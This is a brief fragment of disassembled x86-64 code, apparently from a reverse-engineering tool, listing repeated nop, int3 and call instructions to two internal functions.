nop
call fcn.140009758
int3
call fcn.1400011a0
int3
call fcn.140009758
nop
call fcn.140009758
nop
call fcn.140009758
int3
call fcn.1400011a0
nop
call fcn.140009758
nop
call fcn.140009758
nop
call fcn.140009758
nop
call fcn.140009758
nop
call fcn.140009758
nop
call fcn.140009758
nop
call fcn.140009758
int3